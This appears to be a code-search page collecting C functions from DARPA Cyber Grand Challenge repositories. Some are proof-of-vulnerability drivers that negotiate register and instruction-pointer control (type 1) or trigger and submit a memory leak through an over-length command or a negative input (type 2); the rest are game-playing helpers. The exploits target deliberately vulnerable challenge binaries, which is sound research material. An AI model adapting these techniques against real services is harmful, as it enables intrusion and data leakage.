コード例 #1
0
ファイル: main.c プロジェクト: trailofbits/cb-multios
int find_corner()
{
    unsigned char *resp = NULL;
    unsigned int resp_len = 0;
    delimited_read(STDIN, &resp, &resp_len, (unsigned char *)"\n", 1);
    delimited_read(STDIN, &resp, &resp_len, (unsigned char *)"\n", 1);
    int row = 0;
    for (row = 0; row < 3; row++) {
        delimited_read(STDIN, &resp, &resp_len, (unsigned char *)"\n", 1);
        if (row == 0) {
            if (resp[1] == 'C')
                return 0;
            if (resp[5] == 'C')
                return 1;
        }
        if (row == 2) {
            if (resp[1] == 'C')
                return 2;
            if (resp[5] == 'C')
                return 3;
        }
    }

    return -1;
}
コード例 #2
0
ファイル: main.c プロジェクト: trailofbits/cb-multios
void read_until_game_prompt()
{
    unsigned char *resp = NULL;
    unsigned int resp_len = 0;
    int ready = 0;
    while (!ready) {
        delimited_read(STDIN, &resp, &resp_len, (unsigned char *)"\n", 1);
        if (memcmp(resp, "Shall we play a game?", cgc_strlen("Shall we play a game?")) == 0) {
            ready = 1;
        }
    }
}
コード例 #3
0
ファイル: pov_1.c プロジェクト: CyberGrandChallenge/samples
unsigned char
play_game(void)
{
    unsigned char guess, lo = 0, hi = 255;
    unsigned char *read;
    unsigned int len;
    char buf[10];

    // I'm thinking of a magic number, can you guess it ?!?!\n
    delimited_read(STDIN, &read, &len, (unsigned char *)"\n", 1);
    free(read);

    while (1) {
        guess = (lo + hi) / 2;
        utostr(guess, 10, 0, buf, sizeof(buf));

        transmit_all(STDOUT, buf, strlen(buf));
        transmit_all(STDOUT, "\n", 1);

        delimited_read(STDIN, &read, &len, (unsigned char *)"\n", 1);
        if (strncmp((char *)read, "Just right!\n", len) == 0)
            break;
        else if (strncmp((char *)read, "Haha, too small!\n", len) == 0)
            lo = guess + 1;
        else if (strncmp((char *)read, "Whoa, too big\n", len) == 0)
            hi = guess - 1;
        free(read);

        // WRONG!\n
        delimited_read(STDIN, &read, &len, (unsigned char *)"\n", 1);
        free(read);
    }

    free(read);
    return guess;
}
コード例 #4
0
ファイル: pov_1.c プロジェクト: CyberGrandChallenge/samples
unsigned char
get_byte(unsigned int byte)
{
    unsigned char ret;
    char index = 'a' + byte;
    char buf[] = "transition % 1\n";
    unsigned char *read;
    unsigned int len;

    transmit_all(STDOUT, "reset\n", sizeof("reset\n") - 1);
    // Please re-enter state machine\n
    delimited_read(STDIN, &read, &len, (unsigned char *)"\n", 1);
    free(read);

    transmit_all(STDOUT, "onmatch magic\n", sizeof("onmatch magic\n") - 1);
    // Match action updated\n
    delimited_read(STDIN, &read, &len, (unsigned char *)"\n", 1);
    free(read);

    transmit_all(STDOUT, "state\n", sizeof("state\n") - 1);
    buf[sizeof("transition ") - 1] = index;
    transmit_all(STDOUT, buf, sizeof(buf) - 1);
    transmit_all(STDOUT, "state accept\n", sizeof("state accept\n") - 1);
    transmit_all(STDOUT, "done\n", sizeof("done\n") - 1);

    // Ok, matching input now\n
    delimited_read(STDIN, &read, &len, (unsigned char *)"\n", 1);
    free(read);

    transmit_all(STDOUT, &index, 1);
    transmit_all(STDOUT, "\n", 1);

    ret = play_game();
    delimited_read(STDIN, &read, &len, (unsigned char *)"\n", 1);
    return ret;
}
コード例 #5
0
ファイル: main.c プロジェクト: trailofbits/cb-multios
int play_rps()
{
    unsigned char len_resp[128];
    unsigned int resp_len = 0;
    unsigned char *resp = NULL;
    char *select_guess_num_game = "1\n";
    char *hammer = "HAMMER\n";

    cgc_memset(len_resp, 0, 128);
    read_until_game_prompt();
    length_read(STDIN, len_resp, cgc_strlen("Game # "));
    transmit_all(STDOUT, select_guess_num_game, cgc_strlen(select_guess_num_game));

    cgc_memset(len_resp, 0, 128);
    length_read(STDIN, len_resp, cgc_strlen("Choose [HAMMER, SHEET, SHEERS]: "));
    transmit_all(STDOUT, hammer, cgc_strlen(hammer));
    delimited_read(STDIN, &resp, &resp_len, (unsigned char *)"\n", 1);
    delimited_read(STDIN, &resp, &resp_len, (unsigned char *)"\n", 1);
    if(memcmp(resp, "You Win!", 8) == 0) {
        return 0;
    }

    return 1;
}
コード例 #6
0
ファイル: pov.c プロジェクト: trailofbits/cb-multios
uint32_t ReadScreen(unsigned char** Lines)
{
#ifdef DEBUG
    return 0;
#endif
    unsigned char* cgc_read;
    unsigned read_len;
    unsigned LineCnt = 0;

    for (;;)
    {
        send_string(STDERR, "READING\n");
        delimited_read(STDIN, &cgc_read, &read_len, (unsigned char *)"\n", 1);
        Lines[LineCnt++] = cgc_read;

        if (!strncmp("----", (const char *)cgc_read, 4)  || !strncmp("Erro", (const char *)cgc_read, 4))
            break;
        send_string(STDERR, (char *)cgc_read);
    }

    send_string(STDERR, "DONE\n");
    return LineCnt;;
}
コード例 #7
0
ファイル: pov_1.c プロジェクト: trailofbits/cb-multios
int main(void) {
   type1_vals vals;
   type1_negotiate(0x00fffff, 0x00fffff, 1, &vals);
   //*** delay
   delay(100);
   do {
      //*** writing data
      static unsigned char write_00000_00000[] = 
         "\x73\x0a";
      static unsigned int write_00000_00000_len = 2;
      unsigned char *write_00000 = NULL;
      unsigned int write_00000_len = 0;
      write_00000 = append_buf(write_00000, &write_00000_len, write_00000_00000, write_00000_00000_len);
      if (write_00000_len > 0) {
         transmit_all(1, write_00000, write_00000_len);
      }
      free(write_00000);
   } while (0);
   do {
      //*** writing data
      static unsigned char write_00001_00000[] = 
         "\x64\x0a";
      static unsigned int write_00001_00000_len = 2;
      unsigned char *write_00001 = NULL;
      unsigned int write_00001_len = 0;
      write_00001 = append_buf(write_00001, &write_00001_len, write_00001_00000, write_00001_00000_len);
      if (write_00001_len > 0) {
         transmit_all(1, write_00001, write_00001_len);
      }
      free(write_00001);
   } while (0);
   do {
      //*** writing data
      static unsigned char write_00002_00000[] = 
         "\x31\x30\x2e\x30\x0a";
      static unsigned int write_00002_00000_len = 5;
      unsigned char *write_00002 = NULL;
      unsigned int write_00002_len = 0;
      write_00002 = append_buf(write_00002, &write_00002_len, write_00002_00000, write_00002_00000_len);
      if (write_00002_len > 0) {
         transmit_all(1, write_00002, write_00002_len);
      }
      free(write_00002);
   } while (0);
   do {
      //*** writing data
      static unsigned char write_00003_00000[] = 
         "\x61\x0a";
      static unsigned int write_00003_00000_len = 2;
      unsigned char *write_00003 = NULL;
      unsigned int write_00003_len = 0;
      write_00003 = append_buf(write_00003, &write_00003_len, write_00003_00000, write_00003_00000_len);
      if (write_00003_len > 0) {
         transmit_all(1, write_00003, write_00003_len);
      }
      free(write_00003);
   } while (0);
   do {
      //*** writing data
      static unsigned char write_00004_00000[] = 
         "\x70\x0a";
      static unsigned int write_00004_00000_len = 2;
      unsigned char *write_00004 = NULL;
      unsigned int write_00004_len = 0;
      write_00004 = append_buf(write_00004, &write_00004_len, write_00004_00000, write_00004_00000_len);
      if (write_00004_len > 0) {
         transmit_all(1, write_00004, write_00004_len);
      }
      free(write_00004);
   } while (0);
   do {
      //*** writing data
      static unsigned char write_00005_00000[] = 
         "\x64\x0a";
      static unsigned int write_00005_00000_len = 2;
      unsigned char *write_00005 = NULL;
      unsigned int write_00005_len = 0;
      write_00005 = append_buf(write_00005, &write_00005_len, write_00005_00000, write_00005_00000_len);
      if (write_00005_len > 0) {
         transmit_all(1, write_00005, write_00005_len);
      }
      free(write_00005);
   } while (0);
   do {
      //*** writing data
      static unsigned char write_00006_00000[] = 
         "\x2c";
      static unsigned int write_00006_00000_len = 1;
      static unsigned char write_00006_00003[] = 
         "\x2c\x30\x0a";
      static unsigned int write_00006_00003_len = 3;
      unsigned char *write_00006 = NULL;
      unsigned int write_00006_len = 0;

      char dtostr_buf[256];
      union {
          double d;
          struct {
              unsigned int lo, hi;
          } u;
      } pack;


      pack.u.hi = 0x41800000;
      pack.u.lo = vals.regval;
      dtostr(pack.d, dtostr_buf, sizeof(dtostr_buf));

      write_00006 = append_buf(write_00006, &write_00006_len, (unsigned char *)dtostr_buf, cgc_strlen(dtostr_buf));

      write_00006 = append_buf(write_00006, &write_00006_len, write_00006_00000, write_00006_00000_len);

      pack.u.lo = vals.ipval;
      dtostr(pack.d, dtostr_buf, sizeof(dtostr_buf));

      write_00006 = append_buf(write_00006, &write_00006_len, (unsigned char *)dtostr_buf, cgc_strlen(dtostr_buf));

      write_00006 = append_buf(write_00006, &write_00006_len, write_00006_00003, write_00006_00003_len);
      if (write_00006_len > 0) {
         transmit_all(1, write_00006, write_00006_len);
      }
      free(write_00006);
   } while (0);
   do {
      //*** writing data
      static unsigned char write_00007_00000[] = 
         "\x30\x2c\x30\x2c\x30\x0a";
      static unsigned int write_00007_00000_len = 6;
      unsigned char *write_00007 = NULL;
      unsigned int write_00007_len = 0;
      write_00007 = append_buf(write_00007, &write_00007_len, write_00007_00000, write_00007_00000_len);
      if (write_00007_len > 0) {
         transmit_all(1, write_00007, write_00007_len);
      }
      free(write_00007);
   } while (0);
   do {
      //*** writing data
      static unsigned char write_00008_00000[] = 
         "\x31\x2c\x31\x2c\x31\x0a";
      static unsigned int write_00008_00000_len = 6;
      unsigned char *write_00008 = NULL;
      unsigned int write_00008_len = 0;
      write_00008 = append_buf(write_00008, &write_00008_len, write_00008_00000, write_00008_00000_len);
      if (write_00008_len > 0) {
         transmit_all(1, write_00008, write_00008_len);
      }
      free(write_00008);
   } while (0);
   do {
      //*** writing data
      static unsigned char write_00009_00000[] = 
         "\x30\x2c\x30\x2c\x30\x0a";
      static unsigned int write_00009_00000_len = 6;
      unsigned char *write_00009 = NULL;
      unsigned int write_00009_len = 0;
      write_00009 = append_buf(write_00009, &write_00009_len, write_00009_00000, write_00009_00000_len);
      if (write_00009_len > 0) {
         transmit_all(1, write_00009, write_00009_len);
      }
      free(write_00009);
   } while (0);
   do {
      //*** writing data
      static unsigned char write_00010_00000[] = 
         "\x72\x0a";
      static unsigned int write_00010_00000_len = 2;
      unsigned char *write_00010 = NULL;
      unsigned int write_00010_len = 0;
      write_00010 = append_buf(write_00010, &write_00010_len, write_00010_00000, write_00010_00000_len);
      if (write_00010_len > 0) {
         transmit_all(1, write_00010, write_00010_len);
      }
      free(write_00010);
   } while (0);
   do {
      unsigned char *read_00000;
      unsigned int read_00000_len;
      unsigned int read_00000_ptr = 0;
      //**** delimited cgc_read
      static unsigned char read_00000_delim[] = 
         "\x0a";
      read_00000 = NULL;
      read_00000_len = 0;
      int read_00000_res = delimited_read(0, &read_00000, &read_00000_len, read_00000_delim, 1);
      if (read_00000_res) {} //silence unused variable warning
      free(read_00000);
      if (read_00000_ptr) {}  //silence unused variable warning if any
   } while (0);
   do {
      unsigned char *read_00001;
      unsigned int read_00001_len;
      unsigned int read_00001_ptr = 0;
      //**** delimited cgc_read
      static unsigned char read_00001_delim[] = 
         "\x0a";
      read_00001 = NULL;
      read_00001_len = 0;
      int read_00001_res = delimited_read(0, &read_00001, &read_00001_len, read_00001_delim, 1);
      if (read_00001_res) {} //silence unused variable warning
      free(read_00001);
      if (read_00001_ptr) {}  //silence unused variable warning if any
   } while (0);
   do {
      unsigned char *read_00002;
      unsigned int read_00002_len;
      unsigned int read_00002_ptr = 0;
      //**** delimited cgc_read
      static unsigned char read_00002_delim[] = 
         "\x0a";
      read_00002 = NULL;
      read_00002_len = 0;
      int read_00002_res = delimited_read(0, &read_00002, &read_00002_len, read_00002_delim, 1);
      if (read_00002_res) {} //silence unused variable warning
      free(read_00002);
      if (read_00002_ptr) {}  //silence unused variable warning if any
   } while (0);
   delay(100);
   do {
      //*** writing data
      static unsigned char write_00011_00000[] = 
         "\x71\x0a";
      static unsigned int write_00011_00000_len = 2;
      unsigned char *write_00011 = NULL;
      unsigned int write_00011_len = 0;
      write_00011 = append_buf(write_00011, &write_00011_len, write_00011_00000, write_00011_00000_len);
      if (write_00011_len > 0) {
         transmit_all(1, write_00011, write_00011_len);
      }
      free(write_00011);
   } while (0);
}
コード例 #8
0
ファイル: pov.c プロジェクト: trailofbits/cb-multios
int main(void) 
{
	// ipmask -- mask of CB/RB instruction pointer
	// regmask -- mask of CB/RB register (specified by third argument)
	// 0 - eax, 1 - ecx, 2 - edx, 3 - ebx, 4 - esp, 5 - ebp, 6 - esi, 7 - edi
   	
	// Negotiate type2 -- populate t2vals
	unsigned char *read_data = NULL;
	unsigned int read_len = 0;
	int read_res;	
	int i;

	unsigned char same_line_delimiter[] = ": ";
	unsigned char new_line_delimiter[] = "\n";

	unsigned int type2_addr;
	unsigned int type2_size;
	unsigned int type2_length;

	NegotiateType2Pov( &type2_addr, &type2_size, &type2_length );

	// Read command count
	read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );
	SendCommand( "3\n" );

	// Read source ID
	read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );
	SendCommand( "0\n" );

	// Read Dest ID
	read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );
	SendCommand( "19\n" );

	// Read 13 lines
	for ( i = 0; i < 13; i++ )
		read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );

	SendCommand( "7\n" );

	// Read 2 lines
	for ( i = 0; i < 2; i++ )
		read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );

	SendCommand( "25\n" );
	// Now send TCM enable command
	
	// Get source ID	
	read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );
	SendCommand( "0\n" );

	// Get Dest ID
	read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );
	SendCommand( "20\n" );

	// Read 13 lines
	for ( i = 0; i < 13; i++ )
		read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );
	
	SendCommand( "11\n" );

	// Read 2 lines
	for ( i = 0; i < 2; i++ )
		read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );

	// 125 milliseconds
	SendCommand( "125\n" );	
	
	// Read send binary message
	read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );

	// Send TCM start command	
	SendCommand( "03010001\n" );
	
	// Read Enter Source ID
	read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );
	SendCommand( "0\n" );

	// Read Dest ID
	read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );
	SendCommand( "20\n" );

	// Read 13 lines
	for ( i = 0; i < 13; i++ )
		read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );
	
	SendCommand( "11\n" );

	// Read 2 lines
	for ( i = 0; i < 2; i++ )
		read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );

	SendCommand( "225\n" );

	// Read enter binary message
	read_res = delimited_read( 0, &read_data, &read_len, same_line_delimiter, 2 );

	// Send cgc_read wheel speed command -- exceed the length and cgc_read the equipment ID -- it should leak 64-bits or 8-bytes of data
	SendCommand( "010600010406070809\n" );

	// Consume 13 lines...	
	for ( i = 0; i < 13; i++ )
		read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );

	read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );

	const char *szExpectLine = "[MESSAGE][SRC=20][DEST=0][LENGTH=13]\n";

	if ( read_len != cgc_strlen(szExpectLine) )
	{
		char *szBlah = "0000";
		SendBytes( 3, (char *)szBlah, 4 );
		_terminate(-1);
	}

	if ( memcmp( read_data, szExpectLine, read_len ) != 0 )
		_terminate(-1);

	// Next line has equipment ID -- which is type 2 memory leak
	read_res = delimited_read( 0, &read_data, &read_len, new_line_delimiter, 1 );

	if ( read_len < 26 )
		_terminate(-1);
	else
	{
		// Convert
		uint8_t pov2_data[8];

		size_t pos_source = 10;
		size_t count = 0;
		size_t out_pos = 0;

		for ( count = 0; count < 8; count++ )
		{
			pov2_data[out_pos] = 0;

			if ( !IsHexChar( read_data[pos_source] ) )
				_terminate(-1);

			pov2_data[out_pos] = (HexCharToInt( read_data[pos_source] ) << 4);

			pos_source++;

			if ( !IsHexChar( read_data[pos_source] ) )
				_terminate(-1);

			pov2_data[out_pos] |= (HexCharToInt( read_data[pos_source] ));

			out_pos++;
			pos_source++;
		}

		SendBytes( 3, (char *)pov2_data, 4 );
	}
}
コード例 #9
0
ファイル: main.c プロジェクト: trailofbits/cb-multios
int play_hi_lo(int scored_game)
{
    unsigned char len_resp[128];
    unsigned int resp_len = 0;
    unsigned char *resp = NULL;
    char *guess_msg = malloc(128);
    char *guess_buf = malloc(128);
    char *select_guess_num_game = "2\n";
    char *pov_guess_num = "-1\n";
    char *normal_guess_num = "0\n";

    int num_guesses = 33;
    int guess_lower = -2147483647;
    int guess_upper = 2147483647;
    int guess = 0;
    int won = 0;

    if (scored_game) {
        pov_guess_num = normal_guess_num;
        num_guesses = 16;
        guess_upper = 0xffff;
        guess_lower = 0;
        guess = (guess_upper - guess_lower) / 2;
    }

    read_until_game_prompt();
    length_read(STDIN, len_resp, cgc_strlen("Game # "));
    transmit_all(STDOUT, select_guess_num_game, cgc_strlen(select_guess_num_game));
    length_read(STDIN, len_resp, cgc_strlen("Enter max value (Default=65535): "));
    transmit_all(STDOUT, pov_guess_num, cgc_strlen(pov_guess_num));
    if (!scored_game) {
        length_read(STDIN, len_resp, 1);
        if (len_resp[0] == 'E') {
            length_read(STDIN, len_resp, cgc_strlen("nter max value (Default=65535): "));
            transmit_all(STDOUT, normal_guess_num, cgc_strlen(normal_guess_num));
            num_guesses = 16;
            guess_upper = 0xffff;
            guess_lower = 0;
            guess = (guess_upper - guess_lower) / 2;
        } else {
            delimited_read(STDIN, &resp, &resp_len, (unsigned char *)"\n", 1);
            delimited_read(STDIN, &resp, &resp_len, (unsigned char *)"\n", 1);
            num_guesses = 33;
        }
    }

    while(num_guesses) {
        cgc_memset(guess_buf, 0, 128);
        cgc_memset(guess_msg, 0, 128);
        cgc_memset(len_resp, 0, 128);
        sprintf(guess_buf, "%d\n", guess);
        sprintf(guess_msg, "Guess the number [%d guesses left]: ", num_guesses--);
        length_read(STDIN, len_resp, cgc_strlen(guess_msg));
        transmit_all(STDOUT, guess_buf, cgc_strlen(guess_buf));
        delimited_read(STDIN, &resp, &resp_len, (unsigned char *)"\n", 1);

        if (memcmp(resp, "Too Low", 7) == 0) {
            guess_lower = guess;
            guess += (guess_upper - guess_lower) / 2;
        } else if(memcmp(resp, "Too High", 8) == 0) {
            guess_upper = guess;
            guess -= (guess_upper - guess_lower) / 2;
        } else if(memcmp(resp, "You won!", 8) == 0) {
            won = 1;
            break;
        }
    }

    if (!won) {
        delimited_read(STDIN, &resp, &resp_len, (unsigned char *)"\n", 1);
        if (memcmp(resp, "Sorry", 5) == 0) {
            //transmit_all(STDOUT, cgc_exit, cgc_strlen(cgc_exit));
            return 0;
        }
    }
    //If POV
    type2_submit((void *)&guess, sizeof(int));
    return 1;
}